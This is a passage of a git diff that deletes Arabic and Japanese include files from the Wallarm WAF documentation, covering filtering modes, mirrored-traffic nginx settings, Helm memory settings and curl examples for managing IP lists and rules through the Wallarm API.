عقدة Wallarm الإصدار 2.18 أو أقل، يرجى العلم بأن الإصدار 3.x يحتوي على **تغييرات جذرية**. قبل ترقية الوحدات من الإصدار 2.18 أو أقل إلى الإصدار 3.6، يرجى مراجعة قائمة [تغيرات عقدة Wallarm](older-versions/what-is-new.md) بعناية والتفكير بإمكانية تغيير في الإعدادات. - * نوصي بترقية كل من عقد العملاء العادية و[متعددة المستأجرين](../installation/multi-tenant/overview.md) إلى الإصدار 3.6. يتيح ذلك البقاء محدثًا مع إصدارات Wallarm ويمنع [استهلاك الوحدة المثبتة](versioning-policy.md#version-support). \ No newline at end of file diff --git a/include-ar/wallarm-modes-description-3.6.md b/include-ar/wallarm-modes-description-3.6.md deleted file mode 100644 index 13f8bc9d64..0000000000 --- a/include-ar/wallarm-modes-description-3.6.md +++ /dev/null @@ -1,11 +0,0 @@ -| سلوك عقدة Wallarm | `off` | `monitoring` | `safe_blocking` |`block` | -| -------- | - | - | - | -| -| تحلل ما إذا كانت الطلبات الواردة تحتوي على بيانات ضارة من الأنواع التالية: [هجمات التحقق من صحة الإدخال](../about-wallarm/protecting-against-attacks.md#input-validation-attacks)، [هجمات vpatch](../user-guides/rules/vpatch-rule.md)، أو [الهجمات المكتشفة بناءً على التعابير النظامية](../user-guides/rules/regex-rule.md) | - | + | + | + | -| ترفع الطلبات الضارة إلى سحابة Wallarm حتى يتم عرضها في قائمة الأحداث | - | + | + | + | -| تحجب الطلبات الضارة | - | - | فقط تلك الصادرة من [العناوين الموضوعة في القائمة الرمادية](../user-guides/ip-lists/graylist.md) | + | -| تحجب الطلبات الصادرة من [العناوين الموضوعة في القائمة السوداء](../user-guides/ip-lists/denylist.md)انظر الاستثناءات | لا تحلل القائمة السوداء | - | + | + | -| تحجب الطلبات الصادرة من [العناوين الموضوعة في القائمة الرمادية](../user-guides/ip-lists/graylist.md) | لا تحلل القائمة الرمادية | - | فقط تلك التي تحتوي على بيانات ضارة | لا تحلل القائمة الرمادية | -| تسمح بالطلبات الصادرة من [العناوين الموضوعة في القائمة البيضاء](../user-guides/ip-lists/allowlist.md) | لا تحلل القائمة البيضاء | + | + | + | - -!!! warning "الاستثناءات" - إذا تم تفعيل [`wallarm_acl_access_phase on`][acl-access-phase]، يتم حجب الطلبات من العناوين الموضوعة في القائمة السوداء في أي وضع بما في ذلك `off` و`monitoring` \ No newline at end of file diff --git a/include-ar/wallarm-modes-description-latest.md b/include-ar/wallarm-modes-description-latest.md deleted file mode 100644 index f200094a4e..0000000000 --- a/include-ar/wallarm-modes-description-latest.md +++ /dev/null @@ -1,11 +0,0 @@ -| سلوك عقدة Wallarm | `off` | `monitoring` | `safe_blocking` |`block` | -| -------- | - | - | - | -| -| يحلل ما إذا كانت الطلبات الواردة تحتوي على حمولات ضارة من الأنواع التالية: [هجمات التحقق من الصحة](../about-wallarm/protecting-against-attacks.md#input-validation-attacks)، [هجمات vpatch](../user-guides/rules/vpatch-rule.md)، أو [الهجمات المكتشفة بناءً على التعبيرات النظامية](../user-guides/rules/regex-rule.md) | - | + | + | + | -| يقوم برفع الطلبات الضارة إلى سحابة Wallarm بحيث يتم عرضها في قائمة الأحداث | - | + | + | + | -| يحظر الطلبات الضارة | - | - | الطلبات الواردة فقط من [العناوين الرمادية](../user-guides/ip-lists/overview.md) | + | -| يحظر الطلبات الواردة من [العناوين المدرجة في القائمة السوداء](../user-guides/ip-lists/overview.md)راجع الاستثناءات | + | + | + | + | -| يحظر الطلبات الواردة من [العناوين الرمادية](../user-guides/ip-lists/overview.md) | لا يحلل القائمة الرمادية | - | الطلبات التي تحتوي على حمولات ضارة فقط | لا يحلل القائمة الرمادية | -| يسمح بالطلبات الواردة من [العناوين المدرجة في القائمة البيضاء](../user-guides/ip-lists/overview.md) | + | + | + | + | - -!!! تحذير "الاستثناءات" - إذا كانت [`wallarm_acl_access_phase off`][acl-access-phase]، فإن عقدة Wallarm لا تحلل القائمة السوداء في وضع `off`و لا تحظر الطلبات القادمة من العناوين المدرجة في القائمة السوداء في وضع `monitoring`. \ No newline at end of file diff --git a/include-ar/wallarm-modes-description.md b/include-ar/wallarm-modes-description.md deleted file mode 100644 index 398b1131b2..0000000000 --- a/include-ar/wallarm-modes-description.md +++ /dev/null @@ -1,8 +0,0 @@ -| سلوك عقدة Wallarm | `off` | `monitoring` | `safe_blocking` |`block` | -| -------- | - | - | - | -| -| يحلل ما إذا كانت الطلبات الواردة تحتوي على حمولات ضارة من الأنواع التالية: [هجمات التحقق من الإدخال](../about-wallarm/protecting-against-attacks.md#input-validation-attacks)، و[هجمات vpatch](../user-guides/rules/vpatch-rule.md)، أو [الهجمات التي يتم اكتشافها استنادًا إلى التعبيرات النظامية](../user-guides/rules/regex-rule.md) | - | + | + | + | -| يرفع الطلبات الضارة إلى سحابة Wallarm حتى تظهر في قائمة الأحداث | - | + | + | + | -| يحظر الطلبات الضارة | - | - | فقط تلك الصادرة من [عناوين IP المُدرجة في القائمة الرمادية](../user-guides/ip-lists/overview.md) | + | -| يحظر الطلبات الصادرة من [عناوين IP المُدرجة في القائمة السوداء](../user-guides/ip-lists/overview.md) | لا يحلل القائمة السوداء | - | + | + | -| يحظر الطلبات الصادرة من [عناوين IP المُدرجة في القائمة الرمادية](../user-guides/ip-lists/overview.md) | لا يحلل القائمة الرمادية | - | فقط تلك التي تحتوي على حمولات ضارة | لا يحلل القائمة الرمادية | -| يسمح بالطلبات الصادرة من [عناوين IP المُدرجة في القائمة البيضاء](../user-guides/ip-lists/overview.md) | لا يحلل القائمة البيضاء | + | + | + | \ No newline at end of file diff --git a/include-ar/wallarm-node-configuration-for-mirrored-traffic-3.6.md b/include-ar/wallarm-node-configuration-for-mirrored-traffic-3.6.md deleted file mode 100644 index c92680366f..0000000000 --- a/include-ar/wallarm-node-configuration-for-mirrored-traffic-3.6.md +++ /dev/null @@ -1,24 +0,0 @@ -لكي يتمكن عقدة Wallarm من معالجة حركة المرور المعكوسة، قم بتعيين التكوين التالي: - -``` -wallarm_force server_addr $http_x_server_addr; -wallarm_force server_port $http_x_server_port; -#غير 222.222.222.22 إلى عنوان خادم التوجيه -set_real_ip_from 222.222.222.22; -real_ip_header X-Forwarded-For; -#real_ip_recursive on; -wallarm_force response_status 0; -wallarm_force response_time 0; -wallarm_force response_size 0; -``` - -* يُطلب توجيه [`real_ip_header`](../../using-proxy-or-balancer-en.md) لكي تعرض وحدة التحكم Wallarm عناوين IP للمهاجمين. -* تُطلب التوجيهات `wallarm_force_response_*` لتعطيل تحليل جميع الطلبات باستثناء نسخ المستلمة من حركة المرور المعكوسة. -* بما أن الطلبات الخبيثة لا يمكن [أن تُحظر](overview.md#limitations-of-mirrored-traffic-filtration)، فإن عقدة Wallarm تقوم دائماً بتحليل الطلبات في [وضع](../../configure-wallarm-mode.md) المراقبة حتى لو تم تعيين توجيه `wallarm_mode` أو Wallarm Cloud على وضع الحظر الآمن أو العادي (باستثناء الوضع المُعطل). - -يدعم معالجة حركة المرور المعكوسة عقد NGINX فقط. يمكنك تعيين التكوين المقدم كما يلي: - -* عند تثبيت العقدة من حزم DEB/RPM - في ملف تكوين NGINX `/etc/nginx/conf.d/default.conf`. -* عند نشر العقدة من صورة سحابية في [AWS](../../installation-ami-en.md) أو [GCP](../../installation-gcp-en.md) - في ملف تكوين NGINX `/etc/nginx/nginx.conf`. -* عند نشر العقدة من [صورة Docker](../../installation-docker-en.md) - قم بتوصيل الملف بالتكوين المقدم إلى الحاوية. -* عند تشغيل العقدة كـ[متحكم Ingress](../../installation-kubernetes-en.md) - قم بتوصيل خريطة التكوين بالتكوين المقدم إلى pod. \ No newline at end of file diff --git a/include-ar/wallarm-node-configuration-for-mirrored-traffic.md b/include-ar/wallarm-node-configuration-for-mirrored-traffic.md deleted file mode 100644 index 5809970564..0000000000 --- a/include-ar/wallarm-node-configuration-for-mirrored-traffic.md +++ /dev/null @@ -1,24 +0,0 @@ -ليقوم نقطة Wallarm بمعالجة المرور المعكوس، يُرجى تعيين الإعدادات التالية: - -``` -wallarm_force server_addr $http_x_server_addr; -wallarm_force server_port $http_x_server_port; -#قم بتغيير 222.222.222.22 إلى عنوان خادم المعاكسة -set_real_ip_from 222.222.222.22; -real_ip_header X-Forwarded-For; -#real_ip_recursive on; -wallarm_force response_status 0; -wallarm_force response_time 0; -wallarm_force response_size 0; -``` - -* من الضروري أن يوجد توجيه [`real_ip_header`](../../using-proxy-or-balancer-en.md) لكي تعرض واجهة Wallarm أرقام IP الخاصة بالمهاجمين. -* التوجيهات `wallarm_force_response_*` مطلوبة لتعطيل تحليل جميع الطلبات باستثناء النسخ المستلمة من المرور المعكوس. -* نظرًا لأنه لا يمكن حظر الطلبات الخبيثة، فإن نقطة Wallarm تقوم بتحليل الطلبات دائمًا في وضع المراقبة [mode](../../configure-wallarm-mode.md) حتى لو تم ضبط توجيه `wallarm_mode` أو قامت Wallarm Cloud بضبط وضع الحظر الآمن أو العادي (باستثناء الوضع المضبوط على إيقاف). - -دعم معالجة المرور المعكوس متوفر فقط بواسطة نقاط NGINX. يمكنك تعيين الإعدادات المقدمة كما يلي: - -* إذا كنت تقوم بتثبيت النقطة من حزم DEB/RPM - في ملف تكوين NGINX `/etc/nginx/conf.d/default.conf`. -* إذا كنت تقوم بنشر النقطة من صورة السحاب الخاصة ب[AWS](../../installation-ami-en.md) أو [GCP](../../installation-gcp-en.md) - في ملف تكوين NGINX `/etc/nginx/nginx.conf`. -* إذا كنت تقوم بنشر النقطة من [صورة Docker](../../installation-docker-en.md) - قُم بتركيب الملف الحاوي على الإعدادات المقدمة إلى الحاوية. -* إذا كنت تقوم بتشغيل النقطة كـ[Sidecar](../../../installation/kubernetes/sidecar-proxy/deployment.md) أو [Ingress controller](../../installation-kubernetes-en.md) - قُم بتركيب ConfigMap المحتوي على الإعدادات المقدمة إلى pod. \ No newline at end of file diff --git a/include-ja/access-repo-en.md b/include-ja/access-repo-en.md deleted file mode 100644 index fd8363d2cc..0000000000 --- a/include-ja/access-repo-en.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! info "リポジトリアクセス" - パッケージをダウンロードするために、システムは `https://repo.wallarm.com` にアクセスできる必要があります。 - - ファイアウォールによってアクセスがブロックされていないことをご確認ください。 \ No newline at end of file diff --git a/include-ja/allocate-resources-for-waf-node/tarantool-memory-ingress-controller-2.18.md b/include-ja/allocate-resources-for-waf-node/tarantool-memory-ingress-controller-2.18.md deleted file mode 100644 index 6a1de3a564..0000000000 --- a/include-ja/allocate-resources-for-waf-node/tarantool-memory-ingress-controller-2.18.md +++ /dev/null @@ -1,36 +0,0 @@ -`values.yaml`ファイルの以下のセクションを使用して、`ingress-controller-wallarm-tarantool`PodのTarantoolメモリを設定します: - -* メモリをGBで設定する場合: - ``` - controller: - wallarm: - tarantool: - arena: "0.2" - ``` - -* CPUおよびメモリを設定する場合: - ``` - controller: - wallarm: - tarantool: - resources: - limits: - cpu: 1000m - memory: 1640Mi - requests: - cpu: 1000m - memory: 1640Mi - ``` - -以下のパラメーターは`helm install`および`helm upgrade`コマンドの`--set`オプションで設定します。例: - -=== "Ingressコントローラーのインストール" - ```bash - helm install --set controller.wallarm.tarantool.arena='0.4' ingress-chart/wallarm-ingress -n - ``` - - 正しくIngressコントローラーをインストールするには[その他のパラメーター](../configure-kubernetes-en.md#additional-settings-for-helm-chart)も必要です。これらも`--set`オプションで指定してください。 -=== "Ingressコントローラーのパラメーター更新" - ```bash - helm upgrade --reuse-values --set controller.wallarm.tarantool.arena='0.4' ingress-chart/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/include-ja/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md b/include-ja/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md deleted file mode 100644 index f746a126c8..0000000000 --- a/include-ja/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md +++ /dev/null @@ -1,36 +0,0 @@ -`ingress-controller-wallarm-tarantool` PodのTarantoolメモリは、`values.yaml`ファイルの以下のセクションで設定します: - -* メモリをGB単位で設定する場合: - ``` - controller: - wallarm: - tarantool: - arena: "1.0" - ``` - -* CPUとメモリを設定する場合: - ``` - controller: - wallarm: - tarantool: - resources: - limits: - cpu: 400m - memory: 3280Mi - requests: - cpu: 200m - memory: 1640Mi - ``` - -列挙したパラメータは`helm install`および`helm upgrade`コマンドの`--set`オプションで設定します。例: - -=== "Ingressコントローラーのインストール" - ```bash - helm install --set controller.wallarm.tarantool.arena='1.0' wallarm/wallarm-ingress -n - ``` - - 正しくIngressコントローラーをインストールするには、[その他のパラメータ](../configure-kubernetes-en.md#additional-settings-for-helm-chart)も必要です。これらも`--set`オプションで指定してください。 -=== "Ingressコントローラーのパラメータの更新" - ```bash - helm upgrade --reuse-values --set controller.wallarm.tarantool.arena='0.4' wallarm/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/include-ja/allocate-resources-for-waf-node/tarantool-memory.md b/include-ja/allocate-resources-for-waf-node/tarantool-memory.md deleted file mode 100644 index 6fae09749e..0000000000 --- a/include-ja/allocate-resources-for-waf-node/tarantool-memory.md +++ /dev/null @@ -1,13 +0,0 @@ -PostanalyticsはインメモリストレージのTarantoolを使用します。Tarantoolデータベースは、フィルタリングノードが処理するデータストリームのローカルコピーをリングバッファに保持します。これにはリクエスト/レスポンスヘッダーとリクエストボディが含まれます（ただしレスポンスボディは含みません）。 - -フィルタリングノードを効率的に動作させるために、データベースは少なくとも15分分の送信データを、データシリアライゼーションの約2倍のオーバーヘッド込みで保持する必要があります。これらを踏まえると、必要なメモリ量は次の式で見積もることができます: - -``` -1分あたりのバイト単位のリクエスト処理速度 * 15 * 2 -``` - -例えば、フィルタリングノードがピーク時にエンドユーザーリクエストを50 Mbpsで処理している場合、必要なTarantoolデータベースのメモリ消費量は次のように見積もることができます: - -``` -50 Mbps / 8（1バイトあたりのビット数）* 60（1分あたりの秒数）* 15 * 2 = 11,250 MB（または ~ 11 GB） -``` \ No newline at end of file diff --git a/include-ja/allocate-resources-for-waf-node/wstore-memory-ingress-controller.md b/include-ja/allocate-resources-for-waf-node/wstore-memory-ingress-controller.md deleted file mode 100644 index 94fe93661f..0000000000 --- a/include-ja/allocate-resources-for-waf-node/wstore-memory-ingress-controller.md +++ /dev/null @@ -1,36 +0,0 @@ -wstoreメモリは`values.yaml`ファイルの次のセクションで設定します: - -* GB単位でメモリを設定するには: - ``` - controller: - wallarm: - postanalytics: - arena: "1.0" - ``` - -* CPU/メモリのリソースを設定するには: - ``` - controller: - wallarm: - postanalytics: - resources: - limits: - cpu: 400m - memory: 3280Mi - requests: - cpu: 200m - memory: 1640Mi - ``` - -以下のパラメータは`helm install`および`helm upgrade`コマンドの`--set`オプションで設定します。例: - -=== "Ingressコントローラのインストール" - ```bash - helm install --set controller.wallarm.postanalytics.arena='1.0' wallarm/wallarm-ingress -n - ``` - - 正しくIngressコントローラをインストールするには[その他のパラメータ](../configure-kubernetes-en.md#additional-settings-for-helm-chart)も必要です。それらも`--set`オプションで渡してください。 -=== "Ingressコントローラのパラメータ更新" - ```bash - helm upgrade --reuse-values --set controller.wallarm.postanalytics.arena='1.0' wallarm/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/include-ja/allocate-resources-for-waf-node/wstore-memory.md b/include-ja/allocate-resources-for-waf-node/wstore-memory.md deleted file mode 100644 index a101cc6764..0000000000 --- a/include-ja/allocate-resources-for-waf-node/wstore-memory.md +++ /dev/null @@ -1,18 +0,0 @@ -Postanalyticsはインメモリストレージwstoreを使用します。wstoreデータベースは、フィルタリングノードが処理するデータストリームのローカルコピーを循環バッファとして保持するために使用されます。ここにはリクエスト/レスポンスヘッダーおよびリクエストボディが含まれますが、レスポンスボディは含まれません。 - -フィルタリングノードを効率的にするため、データベースは送信データを少なくとも15分間、データのシリアライズに伴う約2倍のオーバーヘッド込みで保持する必要があります。これらの条件に基づき、必要メモリ量は次の式で見積もることができます: - -``` -Speed of request processing per minute in bytes * 15 * 2 -``` - -例えば、フィルタリングノードがピーク時にエンドユーザーリクエストを50 Mbpsで処理している場合、必要なwstoreデータベースのメモリ消費量は次のように見積もることができます: - -``` -50 Mbps -÷ 8 (bits in a byte) -× 60 (seconds in a minute) -× 15 -× 2 -= 11,250 MB (~11 GB) -``` \ No newline at end of file diff --git a/include-ja/api-attack-surface/aasm-notifications.md b/include-ja/api-attack-surface/aasm-notifications.md deleted file mode 100644 index b386139765..0000000000 --- a/include-ja/api-attack-surface/aasm-notifications.md +++ /dev/null @@ -1,37 +0,0 @@ -### メール - -ログインに使用している個人メールアドレスに、検出されたホストおよびセキュリティ課題に関する通知が自動的に届きます。以下が含まれます: - -* **日次のクリティカルなセキュリティ課題（新規のみ）** - 当日にオープンした[クリティカル][link-aasm-security-issue-risk-level]なセキュリティ課題のすべてで、各課題の詳細な説明と緩和手順を添えて1日に1回送信されます。 -* **日次のセキュリティ課題（新規のみ）** - 当日にオープンしたセキュリティ課題の統計で、各[リスクレベル][link-aasm-security-issue-risk-level]の件数および一般的な緩和アクション項目を記載して1日に1回送信されます。 -* **週次のAASM統計** - 直近1週間に設定済みドメインで検出されたホスト、API、およびセキュリティ課題の統計情報です。 - -これらの通知はデフォルトで有効です。いつでも配信停止でき、[こちら][link-integrations-email]の説明に従って、Wallarm Console→**Configuration**→**Integrations**→**Email and messengers**→**Personal email**（あなたのメール）または**Email report**（追加のメールアドレス）で、これらの通知の全部または一部を受け取る追加メールを設定できます。 - -### 即時通知 - -新規および再オープンのセキュリティ課題に対する即時通知を設定できます。通知をトリガーするリスクレベルは、すべて選択することも一部のみ選択することもできます。各セキュリティ課題ごとに個別のメッセージが送信されます。 - -例: - -``` -[Wallarm System] 新しいセキュリティ課題を検出しました -通知タイプ: security_issue -新しいセキュリティ課題がシステムで検出されました。 -ID: 106279 -タイトル: 脆弱なバージョンのNginx: 1.14.2 -ホスト: -パス: -ポート: 443 -URL: -メソッド: -検出元: AASM -パラメータ: -タイプ: 脆弱なコンポーネント -リスク: Medium -詳細: -クライアント: -Cloud: US -``` - -即時通知は、[ご利用のインテグレーション][link-integrations-intro]のドキュメントに記載のとおり、Wallarm Console→**Configuration**→**Integrations**→YOUR_INTEGRATIONで設定できます。 \ No newline at end of file diff --git a/include-ja/api-discovery/dashboard.md b/include-ja/api-discovery/dashboard.md deleted file mode 100644 index 2bddcb238e..0000000000 --- a/include-ja/api-discovery/dashboard.md +++ /dev/null @@ -1,18 +0,0 @@ -Wallarmの[**API Discovery**][apid-overview]で収集されたAPIに関するデータは、**API Discovery**ダッシュボードで確認できます。 - -このダッシュボードは、シャドウAPI、オーファンAPI、ゾンビAPIを含むAPIエンドポイントの全体像を提供します。**リスクスコア評価**の結果を可視化し、最も脆弱または高リスクなAPIを特定してセキュリティ対策の優先順位付けを支援します。 - -APIは時間の経過とともに進化し、新しいエンドポイントが追加され、古いものは非推奨になります。このダッシュボードはこれらの変更の可視性を提供し、非推奨APIが適切に退役し、新規または変更されたAPIがセキュリティポリシーや標準に準拠していることを確実にします。 - -
              - -
              - -
              -
              - -次の点をご確認ください： - -* APIエンドポイントがどの程度リスクにさらされているかは[リスクスコア][apid-risk-score]で示されます -* APIの[変更][apid-track-changes]に注意してください（過去7日間が表示されます） -* [ローグAPI][apid-rogue]は重大なリスク要因です - 実際のトラフィックと比較するために仕様書をアップロードしてください \ No newline at end of file diff --git a/include-ja/api-policies-enforcement/api-policies-violations.md b/include-ja/api-policies-enforcement/api-policies-violations.md deleted file mode 100644 index 65ed71a274..0000000000 --- a/include-ja/api-policies-enforcement/api-policies-violations.md +++ /dev/null @@ -1,22 +0,0 @@ -* **未定義のエンドポイントへのリクエスト** - リクエストが仕様に記載されていないエンドポイントを対象としています。 -* **未定義パラメータを伴うエンドポイントへのリクエスト** - リクエストに、このエンドポイントについて仕様に記載されていないパラメータが含まれています。 -* **必須パラメータなしでのエンドポイントへのリクエスト** - リクエストに、仕様で必須とされているパラメータまたはその値が含まれていません。 -* **無効なパラメータ値を伴うエンドポイントへのリクエスト** - リクエストパラメータの値が、仕様で定義された型や形式に適合していません。 -* **認証方法なしでのエンドポイントへのリクエスト** - リクエストに認証方法に関する情報が含まれていません。 -* **無効なJSONを伴うエンドポイントへのリクエスト** - リクエストに無効なJSONが含まれています。 - -不一致が見つかった場合にシステムが実行できるアクションは次のとおりです: - -* **Block** - リクエストをブロックし、[**Attacks**](../user-guides/events/check-attack.md)セクションにBlockedとして記録します。 - - !!! info "フィルタリングモード" - Wallarmノードは、対象エンドポイントに対してブロック用の[フィルタリングモード][waf-mode-instr]が有効な場合にのみリクエストをブロックします。そうでない場合は、**Monitor**アクションが実行されます。 - -* **Monitor** - リクエストを不正とマークしますが、ブロックはせず、**Attacks**セクションにMonitoringとして記録します。 -* **Not tracked** - 何もしません。 - -ポリシーの設定には複数の仕様を使用できます。1つのリクエストが2つの異なる仕様に該当する場合（同一ポリシーで、仕様ごとに異なるアクションが設定されている場合）、次のようになります: - -* **Block** と **Block** - リクエストはブロックされ、ステータス`Blocked`で、ブロック理由および当該リクエストが2つの異なる仕様に違反した事実を示すイベントが2件、**Attacks**セクションに追加されます。 -* **Monitor** と **Block** - リクエストはブロックされ、ブロック理由を説明するステータス`Blocked`のイベントが1件、**Attacks**セクションに追加されます。 -* **Monitor** と **Monitor** - リクエストはブロックされず、特定のポリシーが違反された事実を示すステータス`Monitoring`のイベントが2件、**Attacks**セクションに追加されます。 \ No newline at end of file diff --git a/include-ja/api-request-examples/add-ips-to-lists-from-file.md b/include-ja/api-request-examples/add-ips-to-lists-from-file.md deleted file mode 100644 index c85475511c..0000000000 --- a/include-ja/api-request-examples/add-ips-to-lists-from-file.md +++ /dev/null @@ -1,96 +0,0 @@ -=== "USクラウド" - ```bash - #!/bin/bash - - UUID="" - SECRET="" - CLIENT="" - LIST="" - PATH_TO_CSV_FILE="" # IPまたはサブネットを含むCSVファイルへのパスです - APPLICATIONS="" - REMOVE_DATE="TIMESTAMP_REMOVE_DATE" - REASON='' - API="us1.api.wallarm.com" - - - index=0 - while read line; do - subnets[$index]="$line" - index=$(($index+1)) - done < "$PATH_TO_CSV_FILE" - - - for i in ${subnets[@]}; do - currentDate=`date -u +%s` - time=$REMOVE_DATE - remove_date=$(($currentDate+$time)) - - curl -X POST \ - https://$API/v4/ip_rules \ - -H "Content-Type: application/json" \ - -H "X-WallarmApi-Token: " \ - -d '{ - "clientid": '$CLIENT', - "ip_rule": { - "list": "'$LIST'", - "rule_type": "ip_range", - "subnet": "'$i'", - "expired_at": '$remove_date', - "pools": [ - '$APPLICATIONS' - ], - "reason": "'"$REASON"'" - }, - "force": false - }' - - done - ``` -=== "EUクラウド" - ```bash - #!/bin/bash - - UUID="" - SECRET="" - CLIENT="" - LIST="" - PATH_TO_CSV_FILE="" # IPまたはサブネットを含むCSVファイルへのパスです - APPLICATIONS="" - REMOVE_DATE="TIMESTAMP_REMOVE_DATE" - REASON='' - API="api.wallarm.com" - - - index=0 - while read line; do - subnets[$index]="$line" - index=$(($index+1)) - done < "$PATH_TO_CSV_FILE" - - - for i in ${subnets[@]}; do - currentDate=`date -u +%s` - time=$REMOVE_DATE - remove_date=$(($currentDate+$time)) - - curl -X POST \ - https://$API/v4/ip_rules \ - -H "Content-Type: application/json" \ - -H "X-WallarmApi-Token: " \ - -d '{ - "clientid": '$CLIENT', - "ip_rule": { - "list": "'$LIST'", - "rule_type": "ip_range", - "subnet": "'$i'", - "expired_at": '$remove_date', - "pools": [ - '$APPLICATIONS' - ], - "reason": "'"$REASON"'" - }, - "force": false - }' - - done - ``` \ No newline at end of file diff --git a/include-ja/api-request-examples/add-some-countries-to-lists.md b/include-ja/api-request-examples/add-some-countries-to-lists.md deleted file mode 100644 index 1a29beaf61..0000000000 --- a/include-ja/api-request-examples/add-some-countries-to-lists.md +++ /dev/null @@ -1,16 +0,0 @@ -=== "USクラウド" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"country","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` -=== "EUクラウド" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"country","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` \ No newline at end of file diff --git a/include-ja/api-request-examples/add-some-ips-to-lists.md b/include-ja/api-request-examples/add-some-ips-to-lists.md deleted file mode 100644 index e14b9ac0b4..0000000000 --- a/include-ja/api-request-examples/add-some-ips-to-lists.md +++ /dev/null @@ -1,18 +0,0 @@ -特定のIPまたはサブネットをIPリストに追加するには、各IP/サブネットごとに次のリクエストを送信します: - -=== "US Cloud" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"force":false,"ip_rule":{"list":"","reason":"","pools":[],"expired_at":,"rule_type":"ip_range","subnet":""}}' - ``` -=== "EU Cloud" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"force":false,"ip_rule":{"list":"","reason":"","pools":[],"expired_at":,"rule_type":"ip_range","subnet":""}}' - ``` \ No newline at end of file diff --git a/include-ja/api-request-examples/add-some-proxies-to-lists.md b/include-ja/api-request-examples/add-some-proxies-to-lists.md deleted file mode 100644 index 59c5cb8674..0000000000 --- a/include-ja/api-request-examples/add-some-proxies-to-lists.md +++ /dev/null @@ -1,16 +0,0 @@ -=== "USクラウド" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"proxy_type","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` -=== "EUクラウド" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"proxy_type","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` \ No newline at end of file diff --git a/include-ja/api-request-examples/create-filtration-mode-rule-for-app.md b/include-ja/api-request-examples/create-filtration-mode-rule-for-app.md deleted file mode 100644 index 32a511869e..0000000000 --- a/include-ja/api-request-examples/create-filtration-mode-rule-for-app.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "USクラウド" - ```bash - curl 'https://us1.api.wallarm.com/v1/objects/hint/create' -H 'X-WallarmApi-Token: ' -H "accept: application/json" -H "Content-Type: application/json" --data-raw '{"clientid":,"type":"wallarm_mode","mode":"monitoring","validated":false,"action":[{"point":["instance"],"type":"equal","value":"3"}]}' - ``` -=== "EUクラウド" - ```bash - curl 'https://api.wallarm.com/v1/objects/hint/create' -H 'X-WallarmApi-Token: ' -H "accept: application/json" -H "Content-Type: application/json" --data-raw '{"clientid":,"type":"wallarm_mode","mode":"monitoring","validated":false,"action":[{"point":["instance"],"type":"equal","value":"3"}]}' - ``` \ No newline at end of file diff --git a/include-ja/api-request-examples/create-rule-en.md b/include-ja/api-request-examples/create-rule-en.md deleted file mode 100644 index daa3dbd9cb..0000000000 --- a/include-ja/api-request-examples/create-rule-en.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "USクラウド" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"clientid\": YOUR_CLIENT_ID, \"type\": \"vpatch\", \"action\": [ {\"type\":\"equal\",\"value\":\"my\",\"point\":[\"path\",0]}, {\"type\":\"equal\",\"value\":\"api\",\"point\":[\"path\",1]}], \"validated\": false, \"point\": [ [ \"header\", \"HOST\" ] ], \"attack_type\": \"any\"}" - ``` -=== "EUクラウド" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"clientid\": YOUR_CLIENT_ID, \"type\": \"vpatch\", \"action\": [ {\"type\":\"equal\",\"value\":\"my\",\"point\":[\"path\",0]}, {\"type\":\"equal\",\"value\":\"api\",\"point\":[\"path\",1]}], \"validated\": false, \"point\": [ [ \"header\", \"HOST\" ] ], \"attack_type\": \"any\"}" - ``` \ No newline at end of file diff --git a/include-ja/api-request-examples/create-rule-for-app-id.md b/include-ja/api-request-examples/create-rule-for-app-id.md deleted file mode 100644 index a15585e9f1..0000000000 --- a/include-ja/api-request-examples/create-rule-for-app-id.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "USクラウド" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"type\":\"vpatch\",\"action\":[{\"point\":[\"instance\"],\"type\":\"equal\",\"value\":\"-1\"},{\"point\":[\"path\",0],\"type\":\"equal\",\"value\":\"my\"},{\"point\":[\"path\",1],\"type\":\"equal\",\"value\":\"api\"}],\"clientid\":YOUR_CLIENT_ID,\"validated\":false,\"point\":[[\"header\",\"HOST\"]],\"attack_type\":\"any\"}" - ``` -=== "EUクラウド" - ```{.bash .wrapped-code} - curl -v -X POST 